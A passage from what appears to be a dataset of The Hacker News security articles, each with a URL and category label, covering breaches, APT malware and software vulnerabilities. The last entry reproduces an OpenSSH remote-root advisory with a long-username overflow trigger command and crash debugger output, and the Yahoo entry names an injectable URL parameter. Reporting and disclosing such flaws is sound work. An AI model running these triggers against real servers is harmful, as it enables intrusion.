A spokesperson from British Airways confirmed The Hacker News that "this is data theft, rather than a breach," which suggests someone with privileged access to the data might have stolen it.
British Airways also informed the police and the Information Commissioner and currently reaching out to affected customers directly.
However, the company assured its customers that the security breach has now been resolved, and its website is working normally and is now safe for passengers to check-in online, and book flights online.
The National Crime Agency is aware of the British Airways data breach and is "working with partners to assess the best course of action."
Air Canada also suffered a severe data breach late last month, which, along with personal data, also exposed passport number and other passport and travel details of about 20,000 mobile app customers.
| Cyber_Attack |
Viber's Poor Data Security Practices Threaten Users' Privacy | https://thehackernews.com/2014/04/vibers-poor-data-security-practices.html | Last week we reported a critical vulnerability in the world's most popular messaging application WhatsApp, that could expose users' GPS location data to hackers and was discovered by the researchers at UNH Cyber Forensics Research & Education Group.
Same Group of researchers reported new set of vulnerabilities in another most popular messaging application 'VIber'. They claimed that Viber's poor data security practices threaten privacy of its more than 150 million active users.
Cross Platform messaging app Viber allows registered users to share text messages, images, doodles, GPS Location and videos with each other, along with its popular free voice calling feature which is available for Android, iOS, Windows Phone, Blackberry and Desktops as well.
The researchers found that users' data stored on the Viber Amazon Servers including images and videos are stored in an unencrypted form that could be easily accessed without any authentication i.e.which gives leverage to an attacker to simply visiting the intercepted link on a website for the complete access to the data.
In a video, the researchers demonstrated that viber is not encrypting any data such as images, doodles, videos and location images while exchanging it with their Amazon server, that allows an attacker to capture this unencrypted traffic with man-in-the middle attack.
"The main issue is that the above-mentioned data is unencrypted, leaving it open for interception through either a Rogue AP, or any man-in-the middle attacks," the researcher wrote in the blog post.
An attacker can use any network testing tool such as NetworkMiner, Wireshark, and NetWitness to capture the traffic during man-in-the-middle attack.
"Anyone, including the service providers will be able to collect this information – and anyone that sets up a rogue AP, or any man-in-the middle attacks such as ARP poisoning will be able to capture this unencrypted traffic and view the images and videos received as well as the locations being sent or received by a phone." Professor Ibrahim Baggili, and Jason Moore said.
In Whitehat style, researchers had already reported the vulnerabilities to the Viber team before publishing their findings to the blog, but haven't received any response yet.
"It is important to let the people know of these vulnerabilities, therefore, we chose to publish these results and the video in this post," they wrote.
| Vulnerability |
Its Fail 2011 - Year of Hacks ! | https://thehackernews.com/2011/09/its-fail-2011-year-of-hacks.html | Its Fail 2011 - Year of Hacks !
According to IT security experts Year 2011 have labeled as the "Year of the Hack" or "#Fail 2011". Hacking has become much easier over the years allowing hackers to hack into systems easier then ever before, which is why 2011 had a lot of hacking happen so far. Hackers are coming up with tools as well as finding new methods to hacking faster then companies can increase their security.
Even, Every year is the year of the hacking as long as there are hackers out there ready to execute their malicious programs and attain their goals like gathering important information to the victim's computer, stealing important identities, credit card information, etc. This year 2011 could be another generation of hacking. Since every year there are always forward advancements of the tools and programs that could use by the hackers. The most important is to avoid them if you are a computer user.
RSA Hack (3/17/2011) :
Motive - Unknown attacker, although China believed to be suspect. Motive is probably espionage
Method - Advanced Persistent Threat (APT) targeted at individuals within an organization using social engineering. Malware hidden in an Excel spreadsheet exploited a zero-day (unpatched) Flash hole.
Harm - SecurID token deployments at financial, government and other sites were at risk.
Comodo Hack and several of its digital certificate resellers (3/23/2011) :
Motive - 21-year-old Iranian patriot took credit saying he was protesting US policy and retaliating against the US for its alleged involvement with last year's Stuxnet, which experts say was designed to target Iran's nuclear program.
Method - Compromise of digital certificate registry authorities led to the theft of digital certificates that are used by sites to prove they are who they are legitimate.
Harm - If they had not been revoked the faked certificates could have been used to spoof sites like Google, Yahoo,Microsoft and Skype.
Sony (Indonesia, Japan , Thailand, Greece , Canada, Netherlands, Europe, Russia, Portugal) & Sony PlayStation Network Hacked (4/6/2011-6/8/2011) :
Motive - Lulzsec ,Anonymous, Lebanese hacker Idahc and various other hackers organized the attack in retaliation for Sony attempting to identify visitors to PlayStation 3 hacker George Hotz' blog site, as well as seeking data from his Twitter and YouTube accounts as part of a lawsuit. The case was later settled out of court.
Method - Distributed Denial-of-Service (DDoS), Sql injection
Harm - Defacement of various domains of Sony and Personal information of 77 million people, including customer names, addresses, e-mail addresses, birthdays, PlayStation Network and Qriocity passwords, user names, online handles and possibly credit cards were exposed.
Fox Network's X Factor (5/7/2011) :
Attacker - Lulzsec
Harm - X factor contestants personal information exposed and internal Fox data exposed.
PBS.org - Public Broadcasting Service Hacked (5/30/2011) :
Attacker - LulzSec in retaliation over Frontline Wikileaks program they considered biased
Method - zero-day exploit in Movable Type 4
Harm - Passwords were leaked and a fake news article was published on the page.
100's of Gmail users (6/1/2011) :
Motive - Google says attack originated in China and appeared designed to monitor communications of journalists, political activists and military personnel.
Method - After stealing passwords with a phishing attack, perpetrators apparently used the passwords to change Gmail users' forwarding and delegation settings.
Harm - Attack was "disrupted" but it's unknown if any snooping was accomplished.
Acer Europe Hacked (6/3/2011) :
Attacker - Pakistan Cyber Army
Method - Stupidity of Server admin
Harm - Source code and user data of 40,000 people reportedly compromised.
FBI partner Infragard Atlanta Hacked (6/3/2011) :
Motive - LulzSec, in an attempt to embarrass the FBI and security firm government contractors
Harm - Site was hacked, defaced and 180 Infragard usernames and passwords were leaked.
Citigroup Hacked (6/8/2011) :
Motive and Attacker - unknown
Harm - Names, account numbers, and contact information, including e-mail addresses, were accessed during the breach, which affected about 360,000 customers.
Turkish government (6/9/2011) :
Motive - Anonymous, in opposition to Internet filtering plan
Harm - site inaccessible temporarily
U.S. Senate hacked (6/13/2011) :
Motive - LulzSec, saying it doesn't like the U.S. government
Harm - published on the Web server's directory and file structure of the Senate site
Spanish National Police (6/13/2011) :
Motive - Anonymous, in retaliation for the arrest of three people in Spain
Harm - site was inaccessible temporarily
CIA Hacked (6/15/2011) :
Attacker - Lulzsec
Harm - site temporarily down
Electronic Arts hack (6/16/2011) :
Harm - System hosting BioWare Neverwinter Nights forum is breached and user names, encrypted passwords, e-mail addresses, mailing addresses, names, phone numbers, CD keys and birth dates may have been compromised. Some unencrypted passwords believed stolen.
Sega Hack (6/18/2011) :
some Sega Pass member e-mail addresses, dates of birth, and encrypted passwords compromised.
NATO Hack (6/23/2011) :
Motive - After NATO released a report singling out Anonymous' hacktivism as a cyber threat, the group warned NATO not to challenge it.
Harm - subscribers to NATO's e-Bookshop service were urged to change their passwords after a possible compromise of usernames, passwords, addresses and e-mail addresses.
Arizona Department of Public Safety (6/23/2011) :
Motive - LulzSec said it is leaking the data to protest "racial profiling anti-immigrant" policies of Arizona law enforcement, specifically SB1070, which makes it a crime to be in Arizona without documentation proving United States residency. Releases another batch of data on June 29.
Harm - publicly released hundreds of private intelligence bulletins, training manuals, personal e-mail correspondence, names, phone numbers, addresses and passwords belonging to Arizona law enforcement.
Former British Prime Minister Tony Blair Hack (6/24/2011) :
Motive - TeaMp0isoN says it targeted Blair over his support for the Iraq War
Harm - contents of his electronic address book, including contact data for members of Parliament
Arizona Department of Public Safety Hack (6/29/2011) :
Attacker - Antisec
Harm - hackers release second dump of data, including more personal data on specific officers
Al-Qaeda Hack (6/29/2011) :
Harm - hackers shut down al-Qaeda's Internet communications, halting the flow of videos and statements online
Arizona Fraternal Order of Police, Fraternal Order of Police in Mesa, Tucson Hack (6/30/2011):
Attacker - Antisec
Harm - 8 Web sites defaced, documents released including passwords and e-mail addresses of 1,200 officers, some financial data of specific officers and personal e-mails
Apple Hack (7/4/2011) :
Attacker - Antisec
Method - exploited security flaw in the software Apple used
Harm - 26 admin usernames and passwords for an Apple server exposed
Fox News Twitter account Hack (7/4/2011) :
Harm - The Fox News Twitter feed was used to publish false reports that President Obama had been killed.
German Federal Police Hack (German Federal Police) :
Attacker - n0-N4m3 Cr3w
Harm - The hackers compromised a server used by the country's customs service and posted location coordinates, license plate and telephone numbers, police usernames and passwords, and a GPS application in response to government communications interception.
News Corp. sites, The Sun and News International Hack (7/18/2011) :
Attacker - Lulzsec
Harm - Hackers redirected The Sun home page to fake story about death of News Corp. owner Rupert Murdoch, and then later to LulzSec's Twitter feed, as well as redirected a News International's page with a statement on the hack to the LulzSec Twitter feed. They also released phone numbers of News Corp. employees and an e-mail address and password for former Sun editor Rebekah Brooks, who is embroiled in the mobile phone voice mail hacking scandal at News of the World.
Italian Police's National Center for Computer Crime and the Protection of Critical Infrastructure (7/22/2011) :
Attacker - Antisec
Harm - Hackers claim to have stolen more than 8 GB of internal data that was allegedly seized during police investigations, including information on the Ministry of Transport in Egypt, Ministry of Defense in Australia, Russian companies and U.S. Justice Department. They threatened to publish it online.
72 public and private organizations in 14 countries Hack (8/2/2011) :
Motive - McAfee report does not speculate, but there's a pattern in the targets which do not include China but do include political non-profits, a pro-democracy organization, the World Anti-doping Agency, and the International Olympic Committee and Olympic committees in three countries, which were targeted right before and after the 2008 Olympic Games in Beijing.
Method - targeted phishing attacks with e-mail exploit that installed a back door
Harm - National secrets, classified government data, source code, bug databases, email archives, details for new oil and gas field auctions, legal contracts, SCADA configurations and more.
Citigroup Japan hack (8/5/2011) :
Method - A source said the scheme was perpetrated by a third-party vendor that had been given access to Citi's internal systems.
Harm - Personal information of 92,408 Citigroup credit card customers in Japan was stolen and sold to third parties, the bank said.
70 U.S. law enforcement agencies and police association in Italy Hacked (8/6/2011):
Attacker - Antisec
Harm - 10GB of personal information, private e-mails, passwords, training files, data from informants, Social Security numbers and stolen credit card information
Government of Syria (8/8/2011) :
Attacker - Anonymous
Harm - Home page of the Syrian Ministry of Defense site defaced with Anonymous logo and a call for the downfall of President Bashar al-Assad.
BlackBerry maker Research In Motion (RIM) Defacement (8/9/2011) :
Attacker - Team Poison
Harm - RIM's BlackBerry blog was hacked in retaliation for RIM offering to assist London police in combating rioters, many of whom are using BlackBerrys to organize.
Hong Kong stock exchange Hack (8/10/2011) :
Harm - Hackers broke into news site of Hong Kong stock exchange, where corporate filings are published, forcing the suspension of trading for seven companies.
NOTE : List not Finished here, You can check more latest Hacking News on The Hacker News.
Source : The Hacker News Magazine - September Edition (Issue 04)
| Malware |
Uncovered: APT 'Hackers For Hire' Target Financial, Entertainment Firms | https://thehackernews.com/2020/11/uncovered-apt-hackers-for-hire-target.html | A hackers-for-hire operation has been discovered using a strain of previously undocumented malware to target South Asian financial institutions and global entertainment companies.
Dubbed "CostaRicto" by Blackberry researchers, the campaign appears to be the handiwork of APT mercenaries who possess bespoke malware tooling and complex VPN proxy and SSH tunneling capabilities.
"CostaRicto targets are scattered across different countries in Europe, Americas, Asia, Australia and Africa, but the biggest concentration appears to be in South Asia (especially India, Bangladesh and Singapore and China), suggesting that the threat actor could be based in that region, but working on a wide range of commissions from diverse clients," the researchers said.
The modus operandi in itself is quite straight-forward. Upon gaining an initial foothold in the target's environment via stolen credentials, the attacker proceeds to set up an SSH tunnel to download a backdoor and a payload loader called CostaBricks that implements a C++ virtual machine mechanism to decode and inject the bytecode payload into memory.
In addition to managing command-and-control (C2) servers via DNS tunneling, the backdoor delivered by the above-mentioned loaders is a C++ compiled executable called SombRAT — so named after Sombra, a Mexican hacker, and infiltrator from the popular multiplayer game Overwatch.
The backdoor comes equipped with 50 different commands to carry out specific tasks (can be categorized in core, taskman, config, storage, debug, network functions) that range from injecting malicious DLLs into memory to enumerating files in storage to exfiltrating the captured data to an attacker-controlled server.
In all, six versions of SombRAT have been identified, with the first version dating all the way back to October 2019 and the latest variant observed earlier this August, implying that the backdoor is under active development.
While the identities of the crooks behind the operation are still unknown, one of the IP addresses to which the backdoor domains were registered has been linked to an earlier phishing campaign attributed to Russia-linked APT28 hacking group, hinting at the possibility that the phishing campaigns could have been outsourced to the mercenary on behalf of the actual threat actor.
This is the second hackers-for-hire operation uncovered by Blackberry, the first being a series of campaigns by a group called Bahamut that was found to exploit zero-day flaws, malicious software, and disinformation operations to track targets located in the Middle East and South Asia.
"With the undeniable success of Ransomware-as-a-Service (RaaS), it's not surprising that the cybercriminal market has expanded its portfolio to add dedicated phishing and espionage campaigns to the list of services on offer," Blackberry researchers said.
"Outsourcing attacks or certain parts of the attack chain to unaffiliated mercenary groups has several advantages for the adversary — it saves their time and resources and simplifies the procedures, but most importantly it provides an additional layer of indirection, which helps to protect the real identity of the threat actor."
| Malware |
Remotely controlled Malware as Browser extensions | https://thehackernews.com/2012/10/remotely-controlled-malware-as-browser.html | "Browser extensions extend the functionality of the web browser. These extensions improve the appearance, functionality, security or other parts of the browser. Extensions were also developed with malicious intent, in order to generate revenue or just spread the code between more and more browsers. The possibility of a malicious browser extension is almost infinite, but we have not seen very powerful malicious extensions yet."
Security researcher Zoltan Balazs has developed a remote-controlled piece of malware that functions as a browser extension. The researcher plans to release the malware's source code on GitHub during a presentation at the Hacker Halted security conference in Miami next Tuesday
This Malwaretize Browser extensions is capable of modifying Web pages, downloading and executing files, hijacking accounts, bypassing two-factor authentication security features enforced by some websites, and much more.
Balazs is also expected to demonstrate how the proof-of-concept code might be used to bypass Google's two-step verification process. The demo extension in versions for Firefox , Chrome and Safari, a version for Internet Explorer would also be feasible. The Firefox version also works on Android, albeit with reduced opportunities.
"The Firefox version can also steal passwords from the browser's built-in password manager, download and execute files (only on Windows), modify the content of Web pages in the same way that banking Trojans modify online banking websites to hide rogue transaction records, take screen shots through the computer's webcam by accessing a Flash application hosted on a Web page, act as an HTTP proxy that allows an attacker to communicate with a server on the victim's internal network, and more."
Existing Malware of this nature will hardly been detected by antivirus programs. On the Firefox maker Mozilla is the recommendation to install new add-ons only from the official marketplace for extensions permit, as is already the case in Chrome.
| Malware |
New Windows and Linux Flaws Give Attackers Highest System Privileges | https://thehackernews.com/2021/07/new-windows-and-linux-flaws-give.html | Microsoft's Windows 10 and the upcoming Windows 11 versions have been found vulnerable to a new local privilege escalation vulnerability that permits users with low-level permissions access Windows system files, in turn, enabling them to unmask the operating system installation password and even decrypt private keys.
The vulnerability has been nicknamed "SeriousSAM."
"Starting with Windows 10 build 1809, non-administrative users are granted access to SAM, SYSTEM, and SECURITY registry hive files," CERT Coordination Center (CERT/CC) said in a vulnerability note published Monday. "This can allow for local privilege escalation (LPE)."
The operating system configuration files in question are as follows -
c:\Windows\System32\config\sam
c:\Windows\System32\config\system
c:\Windows\System32\config\security
Microsoft, which is tracking the vulnerability under the identifier CVE-2021-36934, acknowledged the issue, but has yet to roll out a patch, or provide a timeline for when the fix will be made available.
"An elevation of privilege vulnerability exists because of overly permissive Access Control Lists (ACLs) on multiple system files, including the Security Accounts Manager (SAM) database," the Windows makers noted. "An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Successful exploitation of the flaw, however, necessitates that the attacker already has a foothold and is in possession of the ability to execute code on the victim system. In the interim, the CERT/CC is recommending that users restrict access to sam, system, and security files and delete VSS shadow copies of the system drive.
The latest disclosure also marks the third publicly disclosed unpatched bug in Windows since the release of Patch Tuesday updates on July 13. Besides CVE-2021-36934, two more weaknesses affecting the Print Spooler component have also been discovered, prompting Microsoft to urge all users to stop and disable the service to protect systems against exploitation.
Linux Distros Suffer from "Sequoia" Privilege Escalation Flaw
It's not just Windows. Remediations have been released for a security shortcoming affecting all Linux kernel versions from 2014 that can be exploited by malicious users and malware already deployed on a system to gain root-level privileges.
Dubbed "Sequoia" by researchers from cybersecurity firm Qualys, the issue has been assigned the identifier CVE-2021-33909 and affects default installations of Ubuntu 20.04, Ubuntu 20.10, Ubuntu 21.04, Debian 11, and Fedora 34 Workstation. Red Hat Enterprise Linux versions 6, 7, and 8 are also affected by the vulnerability.
Specifically, the flaw concerns a size_t-to-int type conversion vulnerability in the Linux Kernel's "seq_file" file system interface, permitting an unprivileged local attacker to create, mount, and delete a deep directory structure whose total path length exceeds 1GB, resulting in privilege escalation on the vulnerable host.
Separately, Qualys also disclosed a stack exhaustion denial-of-service vulnerability in systemd (CVE-2021-33910) that could be exploited by unprivileged attackers to crash the software suite and trigger a kernel panic.
| Vulnerability |
'The Washington Post' compromised 3rd time in the last 3 years | https://thehackernews.com/2013/12/the-washington-post-compromised-3rd.html | Security experts at Mandiant intelligence firm have discovered a new intrusion into the network of The Washington Post, it is the third time in the last three years. In time I'm writing it is still not clear the extension of the attack neither an estimation of the losses.
Mandiant reported the incident to The Washington Post this week, confirming that exposed data include employees' credentials hash.
"Hackers broke into The Washington Post's servers and gained access to employee user names and passwords, marking at least the third intrusion over the past three years, company officials said Wednesday." a post of the news agency said.
Early 2013 the New York Times has announced that during the previous months it was a victim of cyber espionage coordinated by Chinese hackers, similar attacks was conducted against principal Americans news agencies.
The hackers have tried to compromise the email account of journalists to steal sensitive information, they tried to infiltrate the network of news agencies using several dozen instances of malware, as revealed by forensics analysis conducted by the Mandiant security firm. The attackers obtained password data for all of the Washington Post reporters and other employees.
Regarding this last attack there is no evidence that subscriber information such as credit card data or home addresses was stolen neither the information of which offices of the popular media agency were impacted (e.g. Publishing system, employee e-mail databases, HR database).
The hackers in many cases targeted server used by the paper's foreign staff to extend their operation to the entire company infrastructure.
Investigators believe the intrusion lasted at most a few days, but the news is very worrying considering that large international news organizations have become a privileged target for hacking campaigns. The Washington Post, NYT and Associated Press were subject to numerous attacks conducted by state-sponsored hackers including the popular group of hackers Syrian Electronic Army.
Waiting for more detailed results of investigation officials planned to ask all employees to change their user names and passwords on the assumption that a large number of them may have been compromised.
| Cyber_Attack |
Searching for Best Encryption Tools? Hackers are Spreading Malware Through Fake Software | https://thehackernews.com/2016/10/best-encryption-tools.html | Over the past few years, Internet users globally have grown increasingly aware of online privacy and security issues due to mass monitoring and surveillance by government agencies, making them adopt encryption software and services.
But it turns out that hackers are taking advantage of this opportunity by creating and distributing fake versions of encryption tools in order to infect as many victims as possible.
Kaspersky Lab has revealed an advanced persistent threat (APT) group, nicknamed StrongPity, which has put a lot of efforts in targeting users of software designed for encrypting data and communications.
The StrongPity APT group has been using watering-hole attacks, infected installers, and malware for many years to target users of encryption software by compromising legitimate sites or setting up their own malicious copycat sites.
Watering hole attacks are designed to lure specific groups of users to their interest-based sites that typically house malicious files or redirect them to attacker-controlled downloads.
The StrongPity APT group has managed to infect users in Europe, Northern Africa, and the Middle East and targeted two free encryption utilities in different attacks: WinRAR and TrueCrypt.
WinRAR and TrueCrypt are long popular within security and privacy conscious users. WinRAR is best known for its archiving capabilities that encrypting files with AES-256 crypto, while TrueCrypt is a full-disk encryption utility that locks all files on a hard drive.
By setting up fake distribution sites that closely mimic legitimate download sites, StrongPity is able to trick users into downloading malicious versions of these encryption apps in hopes that users encrypt their data using a trojanized version of WinRAR or TrueCrypt apps, allowing attackers to spy on encrypted data before encryption occurred.
"The problem with people depending on tools like this isn't the strength of the crypto, but more about how it's distributed," says Kurt Baumgartner, principal security researcher at Kaspersky Lab. "This is that problem that StrongPity is taking advantage of."
Booby-Trapped WinRAR and TrueCrypt Downloads
The APT group previously set up TrueCrypt-themed watering holes in late 2015, but their malicious activity surged in end of summer 2016.
Between July and September, dozens of visitors have redirected from tamindir[.]com to true-crypt[.]com with unsurprisingly almost all of the focus on computer systems in Turkey, with some victims in the Netherlands.
However, in WinRAR case, instead of redirecting victims to a website controlled by StrongPity, the group hijacked the legitimate winrar.it website to host a malicious version of the file themselves.
The winrar.it website infected users mostly in Italy, with some victims in countries like Belgium, Algeria, Tunisia, France, Morocco and Cote D'Ivoire, while the attackers controlled site, winrar.be, infected users in Belgium, Algeria, Morocco, the Netherlands, and Canada.
Top Countries infected with StrongPity APT malware
According to Kaspersky, more than 1,000 systems infected with StrongPity malware this year. The top five countries affected by the group are Italy, Turkey, Belgium, Algeria and France.
The StrongPity APT's dropper malware was signed with "unusual digital certificates," but the group didn't re-use its fake digital certificates. It downloaded components include a backdoor, keyloggers, data stealers and other crypto-related software programs, including the putty SSH client, the filezilla FTP client, the Winscp secure file transfer program and remote desktop clients.
The dropper malware not only provides the hackers control of the system, but also allows them to steal disk contents and download other malware that would steal communication and contact information.
Therefore, users visiting sites and downloading encryption-enabled software are advised to verify both the validity of the distribution website as well as the integrity of the downloaded file itself.
Download sites that not use PGP or any strong digital code signing certificate are required to re-examine the necessity of doing so for the benefits of them as well as their own customers, explained Baumgartner.
| Cyber_Attack |
Flame Malware against French Government | https://thehackernews.com/2012/11/flame-malware-against-french-government_22.html | The news is sensational, according the French magazine L'Express the offices of France's former president Sarkozy were victim of a cyber attack, but what is even more remarkable is that for the offensive was used the famous malware Flame.
On the origin of the malware still persist a mystery, many security experts attribute it to joint work of Israel and US development team.
Let's remind that according the analysis on Flame source code conducted by Kaspersky the malware is linked to Stuxnet, a version of the famous virus shared a module with the spy toolkit.
Frame is considered one of the most complex spy tool produced by a state sponsored project and its use in the attacks against French government suggests the existence of a cyber espionage campaign to collect sensible information.
An official declaration coming from spokesmen of the Elysee Palace and reported by the magazine states:
"Hackers have not only managed to get to the heart of French political power," "but they were able to search the computers of close advisers of Nicolas Sarkozy."
Surely the operation has led to the theft of confidential information regarding the policy of the French government even if it seems not to have directly involved the President who does not have a personal computer.
"secret notes were recovered from hard drives, and also strategic plans." reports the article.
The vector used to spread the malware is the popular social network Facebook , the hackers shared a link to compromised website that replicated the Elysee's intranet site gathering also user's credentials.
Flame has infected the pc belonging presidential network which include of a number of Sarkozy's closest collaborators.
The malicious code has been detected by the Agency nationale de la sécurité des systèmes d'information (Anssi) that immediately has knocked out the network to conduct the proper analysis and of course the sanitation of the IT infrastructure.
The French government avoided to comment the incident, but in internet is circulating the news on a possible involvement in the operation of the United States.
Fonts of the government revealed that the national infrastructures are steadily under attack, they declared that other two large scale cyber attacks were discovered in May without providing further info.
| Malware |
Critical Skype Bug Lets Hackers Remotely Execute Malicious Code | https://thehackernews.com/2017/06/skype-crash-bug.html | A critical vulnerability has been discovered in Microsoft-owned most popular free web messaging and voice calling service Skype that could allow hackers to remotely execute malicious code and crash systems.
Skype is a free online service that allows users to communicate with peers by voice, video, and instant messaging over the Internet. The service was acquired by Microsoft Corporation in May 2011 for US$8.5 Billion due to its worldwide popularity.
Security researcher Benjamin Kunz-Mejri from Germany-based security firm Vulnerability Lab discovered the previously unknown stack buffer overflow vulnerability, which is documented in CVE-2017-9948, in Skype Web's messaging and call service during a team conference call.
The vulnerability is considered a high-security risk with a 7.2 CVSS score and affects Skype versions 7.2, 7.35, and 7.36 on Windows XP, Windows 7 and Windows 8, Mejri said in a public security disclosure published on Monday.
"The issue can be exploited remotely via session or by local interaction. The problem is located in the print clipboard format & cache transmit via remote session on Windows XP, Windows 7, Windows 8 and Windows 10. In Skype v7.37 the vulnerability is patched," the security firm wrote.
No User Interaction Needed
What's worst? The stack buffer overflow vulnerability doesn't require any user interaction, and only require a low privilege Skype user account.
So, an attacker can remotely crash the application "with an unexpected exception error, to overwrite the active process registers," or even execute malicious code on a target system running the vulnerable Skype version.
The issue resides in the way Skype uses the 'MSFTEDIT.DLL' file in case of a copy request on local systems.
Here's How Attackers can Exploit this Flaw
According to the vulnerability report, attackers can craft a malicious image file and then copy and paste it from a clipboard of a computer system into a conversation window in the Skype application.
Once this image is hosted on a clipboard on both the remote and the local systems, Skype experiences a stack buffer overflow, causing errors and crashing the application, which left the door open for more exploits.
"The limitation of the transmitted size and count for images via print of the remote session clipboard has no secure limitations or restrictions. Attackers [can] crash the software with one request to overwrite the EIP register of the active software process," researchers from Vulnerability Lab says.
"Thus allows local or remote attackers to execute own codes on the affected and connected computer systems via the Skype software," they added.
Proof-of-Concept Code Released
The security firm has also provided proof-of-concept (PoC) exploit code that you can use to test the flaw.
Vulnerability Lab reported the flaw to Microsoft on 16th May, and Microsoft fixed the issue and rolled out a patch on 8 June in Skype version 7.37.178.
If you are Skype user, make sure that you run the latest version of the application on your system in order to protect themselves from cyber attacks based on this vulnerability.
| Vulnerability |
Hacker Downloaded Vine's Entire Source Code. Here's How... | https://thehackernews.com/2016/07/vine-source-code.html | Guess What? Someone just downloaded Twitter's Vine complete source code.
Vine is a short-form video sharing service where people can share 6-second-long looping video clips. Twitter acquired the service in October 2012.
Indian Bug bounty hunter Avinash discovered a loophole in Vine that allowed him to download a Docker image containing complete source code of Vine without any hassle.
Launched in June 2014, Docker is a new open-source container technology that makes it possible to get more apps running on the same old servers and also very easy to package and ship programs. Nowadays, companies are adopting Docker at a remarkable rate.
However, the Docker images used by the Vine, which was supposed to be private, but actually was available publically online.
While searching for the vulnerabilities in Vine, Avinash used Censys.io – an all new Hacker's Search Engine similar to Shodan – that daily scans the whole Internet for all the vulnerable devices.
Using Censys, Avinash found over 80 docker images, but he specifically downloaded 'vinewww', due to the fact that the naming convention of this image resembles www folder, which is generally used for the website on a web server.
After the download was complete, he ran the docker image vinewww, and Bingo!
The bug hunter was able to see the entire source code of Vine, its API keys as well as third-party keys and secrets. "Even running the image without any parameter, was letting me host a replica of VINE locally," He wrote.
The 23-year-old reported this blunder and demonstrated full exploitation to Twitter on 31 March and the company rewarded him with $10,080 Bounty award and fixed the issue within 5 minutes.
Avinash has been an active bug bounty hunter since 2015 and until now has reported 19 vulnerabilities to Twitter.
| Vulnerability |
Another Java zero-day vulnerability being exploited in the wild | https://thehackernews.com/2013/03/another-java-zero-day-vulnerability.html | Do you still have Java installed? There is a bad news for you ! FireEye has detected yet another Java zero-day vulnerability being exploited in attacks in the wild.
The vulnerability targets browsers that have the latest version of the Java plugin installed Java v1.6 Update 41 and Java v1.7 Update 15 and FireEye warned that the vulnerability is being exploited to install a remote-access trojan dubbed McRat, researchers from security firm.
"Not like other popular Java vulnerabilities in which security manager can be disabled easily, this vulnerability leads to arbitrary memory read and write in JVM process,"
"After triggering the vulnerability, exploit is looking for the memory which holds JVM internal data structure like if security manager is enabled or not, and then overwrites the chunk of memory as zero."
The exploit is reportedly different from the one used to attack Facebook, Twitter, Apple, and several other companies last month.
It is not known if this particular Java vulnerability is on Windows only or on Linux and Mac OS X, too. However, McRat is a Windows Trojan so the in-the-wild attacks are specifically targeting Windows users.
If you don't want any chance of being infected, the best thing to do is uninstall Java altogether.
| Vulnerability |
Yahoo Quickly Fixes SQL Injection Vulnerability Escalated to Remote Code Execution | https://thehackernews.com/2014/09/yahoo-quickly-fixes-sql-injection_19.html | Yahoo! was recently impacted by a critical web application vulnerabilities which left website's database and server vulnerable to hackers.
A cyber security expert and penetration tester, Ebrahim Hegazy a.k.a Zigoo from Egypt, has found a serious SQL injection vulnerability in Yahoo's website that allows an attacker to remotely execute any commands on its server with Root Privileges.
According to Hegazy blog post, the SQLi vulnerability resides in a domain of Yahoo! website i.e. https://innovationjockeys.net/tictac_chk_req.php.
Any remote user can manipulate the input to the "f_id" parameter in the above URL, which could be exploited to extract database from the server.
While pentesting, he found username and password (encoded as Base64) of Yahoo!' admin panel stored in the database. He decoded the Administrator Password and successfully Logged in to the Admin panel.
Furthermore, SQL injection flaw also facilitate the attacker to exploit Remote Code Execution on the server and an un-patched kernel allows Root access on the server.
Admin panel allows him to upload files on the server but after uploading a file with "phpinfo();" function as a content, he found that the uploaded file was named in ".xrds+xml" instead of being in ".php"
But in second attempt, he intercepted the file uploading request and renamed the "Content-Type" Header to "application/php", which triggers the PHP code on the target server successfully i.e. Remote Code Execution.
Hegazy reported the flaw to Yahoo! Security Team on 5th September and interesting fact, Yahoo! has fixed the flaw within a day after he reported. But, strange part is that the purple company didn't considered this vulnerability for a reward, as the vulnerable domain is out-of-scope of Yahoo!'s bug bounty program.
| Vulnerability |
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD | https://thehackernews.com/2011/06/openssh-35p1-remote-root-exploit-for.html | OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD has been shared by kcope on twitter. The Released note is as given below :
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope
Year 2011
--
The last two days I have been investigating a vulnerability in OpenSSH
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run
OpenSSH 3.5p1 in the default install.
The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".
A working Remote Exploit which spawns a root shell remotely and
previous to authentication was developed.
The bug can be triggered both through ssh version 1 and ssh version 2
using a modified ssh client. During the investigation of the vulnerability it was found that
the bug resides in the source code file "auth2-pam-freebsd.c".
https://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c
This file does not exist in FreeBSD releases greater than 5.2.1. The last commit
is from 7 years ago.
Specifically the bug follows a code path in the PAM Authentication Thread inside this
source code, "pam_thread()". It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.
Both the challenge response (ssh version 1) and keyboard interactive via pam
(ssh version 2) authentications go through this code path.
By supplying a long username to the daemon the sshd crashes.
h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)
Looking into the coredump reveals:
h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0 0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305: (bad)
The sshd crahes at a place with illegal instructions. It looks like it depends
on how the sshd is started. Starting the sshd from the console as root and running
the ssh client with long username again reveals:
h4x# killall -9 sshd
h4x# /usr/sbin/sshd
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
